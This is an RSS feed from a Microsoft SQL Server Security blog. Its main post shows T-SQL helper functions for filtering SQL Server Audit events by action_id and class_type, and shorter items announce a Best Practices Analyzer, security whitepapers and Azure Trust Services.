<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>SQL Server Security</title><link>http://blogs.msdn.com/b/sqlsecurity/</link><description /><dc:language>en-US</dc:language><generator>Telligent Evolution Platform Developer Build (Build: 5.6.50428.7875)</generator><item><title>Filter SQL Server Audit on action_id / class_type predicate</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2012/10/03/filter-sql-server-audit-on-action-id-class-type-predicate.aspx</link><pubDate>Wed, 03 Oct 2012 18:09:47 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10355619</guid><dc:creator>Rinku Agarwal</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10355619</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2012/10/03/filter-sql-server-audit-on-action-id-class-type-predicate.aspx#comments</comments><description>&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;In SQL Server 2012, Server Audit can be created with a predicate expression (refer to &lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/cc280448.aspx"&gt;&lt;span style="color: #1364c4; font-family: Calibri; font-size: small;" face="Calibri" size="3" color="#1364c4"&gt;MSDN&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;). This predicate expression is evaluated before audit events are written to the audit target. If the evaluation returns TRUE the event is written to the audit target else it's not. Hence one can filter audit records going to the audit target based on the predicate expression.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Predicate can refer to any of the audit fields described in &lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/cc280765.aspx"&gt;&lt;span style="color: #1364c4; font-family: Calibri; font-size: small;" face="Calibri" size="3" color="#1364c4"&gt;sys.fn_get_audit_file (Transact-SQL)&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt; except&lt;/span&gt; &lt;span style="color: #000066; font-family: Courier New;" face="Courier New" color="#000066"&gt;file_name&lt;/span&gt; &lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;and &lt;/span&gt;&lt;span style="color: #000066; font-family: Courier New;" face="Courier New" color="#000066"&gt;audit_file_offset&lt;/span&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;For example:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Consider a server principal &amp;lsquo;foo&amp;rsquo; that already exists in SQL Server. This principal has &lt;/span&gt;server_principal_id&lt;span style="font-family: Calibri;" face="Calibri"&gt; of 261. Now following server audit will write all the audit events (configured in audit specification) generated by this principal (with id 261) to file target. It will not write audit events generated by other principals in SQL Server to the target.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;CREATE SERVER&lt;/span&gt; &lt;span style="color: #339966;"&gt;AUDIT AuditDataAccessByPrincipal&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;TO FILE&lt;/span&gt; (&lt;span style="color: #339966;"&gt;FILEPATH&lt;/span&gt; =&lt;span style="color: #ff0000;"&gt;'C:\SQLAudit\'&lt;/span&gt; )&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;WHERE&lt;/span&gt; &lt;span style="color: #339966;"&gt;SERVER_PRINCIPAL_ID&lt;/span&gt; = 261&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;&amp;nbsp;GO&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Now, in order to use &lt;/span&gt;action_id&lt;span style="font-family: Calibri;" face="Calibri"&gt; field as a predicate in the predicate expression, one has to provide integer value of &lt;/span&gt;action_id&lt;span style="font-family: Calibri;" face="Calibri"&gt;. Specifying a character code value for &lt;/span&gt;action_id&lt;span style="font-family: Calibri;" face="Calibri"&gt; results in following error:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;CREATE SERVER&lt;/span&gt; &lt;span style="color: #339966;"&gt;AUDIT AuditDataAccessByAction_Id&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;TO FILE&lt;/span&gt; ( &lt;span style="color: #339966;"&gt;FILEPATH&lt;/span&gt; =&lt;span style="color: #ff0000;"&gt;'C:\SQLAudit\'&lt;/span&gt; )&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;WHERE&lt;/span&gt; &lt;span style="color: #339966;"&gt;ACTION_ID&lt;/span&gt; = 'SL'&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;GO&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Error:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;Msg 25713, Level 16, State 23, Line 1&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;The value specified for event attribute or predicate source, "ACTION_ID", event, "audit_event", is invalid.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;This is because internally &lt;/span&gt;action_id&lt;span style="font-family: Calibri;" face="Calibri"&gt; is stored as an integer value. &lt;/span&gt;sys.fn_get_audit_file&lt;span style="font-family: Calibri;" face="Calibri"&gt; DMV converts the integer value to a character code value for two main reasons:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;1)&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Readability: Character code is more readable then integer value&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;2)&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Consistency with our internal metadata layer where we define such mapping between integer value and character code.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;The above explanation also applies for &lt;/span&gt;class_type &lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;field that we have in &lt;/span&gt;sys.fn_get_audit_file&lt;span style="font-family: Calibri;" face="Calibri"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Following functions will help to get around above mentioned problem with &lt;/span&gt;action_id&lt;span style="font-family: Calibri;" face="Calibri"&gt; and &lt;/span&gt;class_type&lt;span style="font-family: Calibri;" face="Calibri"&gt; fields.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;1)&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;&amp;nbsp;This function converts &lt;/span&gt;action_id&lt;span style="font-family: Calibri;" face="Calibri"&gt; string value of varchar(4) to an integer value which can be used in the predicate expression.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;create function&lt;/span&gt; &lt;span style="color: #339966;"&gt;dbo.GetInt_action_id&lt;/span&gt; ( &lt;span style="color: #339966;"&gt;@action_id&lt;/span&gt; &lt;span style="color: #3366ff;"&gt;varchar(4)&lt;/span&gt;) &lt;span style="color: #3366ff;"&gt;returns int&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;begin&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;declare&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; &lt;span style="color: #3366ff;"&gt;int&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), upper(substring&lt;span style="color: #339966;"&gt;(@action_id&lt;/span&gt;, 1, 1))))&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;if&lt;/span&gt; LEN(&lt;span style="color: #339966;"&gt;@action_id&lt;/span&gt;)&amp;gt;=2&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), upper(substring&lt;span style="color: #339966;"&gt;(@action_id&lt;/span&gt;, 2, 1)))) * power(2,8) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;else&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), ' ')) * power(2,8) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;if&lt;/span&gt; LEN(&lt;span style="color: #339966;"&gt;@action_id&lt;/span&gt;)&amp;gt;=3&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), upper(substring(&lt;span style="color: #339966;"&gt;@action_id&lt;/span&gt;, 3, 1)))) * power(2,16) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;else&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), ' ')) * power(2,16) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;if&lt;/span&gt; LEN(&lt;span style="color: #339966;"&gt;@action_id&lt;/span&gt;)&amp;gt;=4&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), upper(substring(&lt;span style="color: #339966;"&gt;@action_id&lt;/span&gt;, 4, 1)))) * power(2,24) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;else&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), ' ')) * power(2,24) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;return&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;end&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;Select&lt;/span&gt;&lt;span style="color: #339966;"&gt; dbo.GetInt_action_id&lt;/span&gt; ('SL') &lt;span style="color: #3366ff;"&gt;as&lt;/span&gt; &lt;span style="color: #339966;"&gt;Int_Action_Id&lt;/span&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Int_Action_Id&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;------------------&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 538987603&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Following command will now succeed.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;CREATE SERVER&lt;/span&gt; &lt;span style="color: #339966;"&gt;AUDIT AuditDataAccessByAction_Id&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;TO FILE&lt;/span&gt; ( &lt;span style="color: #339966;"&gt;FILEPATH&lt;/span&gt; =&lt;span style="color: #ff0000;"&gt;'C:\SQLAudit\'&lt;/span&gt; )&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;WHERE&lt;/span&gt; &lt;span style="color: #339966;"&gt;ACTION_ID&lt;/span&gt; = 538987603&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;GO&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: Calibri; font-size: small;" face="Calibri" size="3"&gt;2)&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;This function converts &lt;/span&gt;class_type&lt;span style="font-family: Calibri;" face="Calibri"&gt; string value of varchar(2) to an integer value which can be used in the predicate expression.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;create function&lt;/span&gt; &lt;span style="color: #339966;"&gt;dbo.GetInt_class_type&lt;/span&gt; ( &lt;span style="color: #339966;"&gt;@class_type &lt;/span&gt;&lt;span style="color: #3366ff;"&gt;varchar&lt;/span&gt;(2)) &lt;span style="color: #3366ff;"&gt;returns int&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;begin&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;declare&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x &lt;/span&gt;&lt;span style="color: #3366ff;"&gt;int&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), upper(substring(&lt;span style="color: #339966;"&gt;@class_type&lt;/span&gt;, 1, 1))))&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;if&lt;/span&gt; LEN(&lt;span style="color: #339966;"&gt;@class_type&lt;/span&gt;)&amp;gt;=2&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), upper(substring&lt;span style="color: #339966;"&gt;(@class_type&lt;/span&gt;, 2, 1)))) * power(2,8) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;else&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;SET&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt; = convert(int, convert(&lt;span style="color: #3366ff;"&gt;varbinary&lt;/span&gt;(1), ' ')) * power(2,8) + &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;return&lt;/span&gt; &lt;span style="color: #339966;"&gt;@x&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;end&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;go&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;Select&lt;/span&gt; &lt;span style="color: #339966;"&gt;dbo.GetInt_class_type&lt;/span&gt; ('A') &lt;span style="color: #3366ff;"&gt;as&lt;/span&gt; &lt;span style="color: #339966;"&gt;Int_class_type&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Int_class_type&lt;/p&gt;
&lt;p&gt;-------------&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8257&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Following command will now succeed.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;CREATE SERVER&lt;/span&gt; &lt;span style="color: #339966;"&gt;AUDIT ClasstypeAuditDataAccess&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;TO FILE&lt;/span&gt; ( &lt;span style="color: #339966;"&gt;FILEPATH&lt;/span&gt; ='&lt;span style="color: #ff0000;"&gt;C:\SQLAudit\&lt;/span&gt;' )&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #3366ff;"&gt;WHERE&lt;/span&gt; &lt;span style="color: #339966;"&gt;CLASS_TYPE&lt;/span&gt; = 8257&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;GO&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;Following audit record will be generated for Server Audit (&amp;lsquo;A&amp;rsquo;) class type.&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;ALTER SERVER&lt;/span&gt; &lt;span style="color: #339966;"&gt;AUDIT ClasstypeAuditDataAccess&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #3366ff;"&gt;WITH&lt;/span&gt; (&lt;span style="color: #3366ff;"&gt;STATE&lt;/span&gt; = &lt;span style="color: #3366ff;"&gt;ON&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/8360.Audit_5F00_event.png"&gt;&lt;img border="0" alt="" src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/8360.Audit_5F00_event.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;" size="3"&gt;&lt;span style="font-family: Calibri;" face="Calibri"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10355619" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/class_5F00_type/">class_type</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/25713/">25713</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/action_5F00_id/">action_id</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/SQL+Server+Audit/">SQL Server Audit</category></item><item><title>SQL Server 2012 Best Practices Analyzer</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2012/04/19/sql-server-2012-best-practices-analyzer.aspx</link><pubDate>Thu, 19 Apr 2012 20:26:31 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10295542</guid><dc:creator>Jack Richins</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10295542</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2012/04/19/sql-server-2012-best-practices-analyzer.aspx#comments</comments><description>&lt;p&gt;Copied from an internal email from a PM on the team, Jakub -&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m pleased to announce that SQL Server 2012 Best Practices Analyzer (BPA) has been released and is available for download at &lt;a href="http://www.microsoft.com/download/en/details.aspx?id=29302"&gt;http://www.microsoft.com/download/en/details.aspx?id=29302&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Customer Value&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The Microsoft SQL Server 2012 BPA is a diagnostic tool that&lt;br /&gt;performs the following functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;br /&gt;Gathers information about a Server and a&lt;br /&gt;Microsoft SQL Server 2012 instance installed on that Server.&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;Determines if the configurations are set&lt;br /&gt;according to the recommended best practices.&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;Reports on all configurations, indicating&lt;br /&gt;settings that differ from recommendations.&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;Indicates potential problems in the installed&lt;br /&gt;instance of SQL Server.&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;Recommends solutions to potential problems.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10295542" width="1" height="1"&gt;</description></item><item><title>Security Best Practice and Label Security Whitepapers</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2012/03/07/security-best-practice-and-label-security-whitepapers.aspx</link><pubDate>Wed, 07 Mar 2012 01:06:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10278818</guid><dc:creator>Jack Richins</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10278818</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2012/03/07/security-best-practice-and-label-security-whitepapers.aspx#comments</comments><description>&lt;p&gt;2 New Whitepapers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL Server 2012 &lt;span style="text-decoration: line-through;"&gt;&lt;a href="http://download.microsoft.com/download/8/F/A/8FABACD7-803E-40FC-ADF8-355E7D218F4C/SQL_Server_2012_Security_Best_Practice_Whitepaper_Feb2012.docx"&gt;Security Best Practice white paper&lt;/a&gt;&lt;/span&gt;&amp;nbsp;(updated link: &lt;span style="color: #1f497d; font-family: 'Calibri','sans-serif'; font-size: 10pt; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-theme-font: minor-latin;"&gt;&lt;a href="http://download.microsoft.com/download/8/F/A/8FABACD7-803E-40FC-ADF8-355E7D218F4C/SQL_Server_2012_Security_Best_Practice_Whitepaper_Apr2012.docx"&gt;http://download.microsoft.com/download/8/F/A/8FABACD7-803E-40FC-ADF8-355E7D218F4C/SQL_Server_2012_Security_Best_Practice_Whitepaper_Apr2012.docx)&lt;/a&gt; &lt;/span&gt;from operational perspective (compliance, encryption, access control, authentication, network security, and auditing)&lt;/li&gt;
&lt;li&gt;SQL Server 2012 &lt;a href="http://sqlserverlst.codeplex.com/"&gt;Label Security Toolkit and white paper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10278818" width="1" height="1"&gt;</description></item><item><title>Azure Trust Services</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2012/02/17/azure-trust-services.aspx</link><pubDate>Fri, 17 Feb 2012 18:22:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10269123</guid><dc:creator>Don Pinto</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10269123</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2012/02/17/azure-trust-services.aspx#comments</comments><description>&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: small;"&gt;&lt;span style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: EN-US; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-bidi-font-size: 11.0pt;"&gt;Microsoft is working on a new Windows Azure service through &lt;a href="http://www.microsoft.com/en-us/sqlazurelabs/default.aspx"&gt;SQL Azure Labs&lt;/a&gt;, called Trust Services. It is an application-level encryption framework that can be used to protect sensitive data stored on the Windows Azure Platform. By using Trust Services &lt;/span&gt;you can store keys, authorizations&amp;nbsp;and encryption policies in the cloud, and use them to encrypt and decrypt sensitive data. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: small;"&gt;Trust Services provides a API that simplifies the development process and enables easy integration with data driven applications.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: small;"&gt;Check it out&amp;nbsp;at &lt;a href="http://www.microsoft.com/en-us/sqlazurelabs/labs/trust-services.aspx"&gt;Microsoft Codename "Trust Services"&lt;/a&gt;. We are looking forward for your feedback.&lt;/span&gt;&lt;/p&gt;
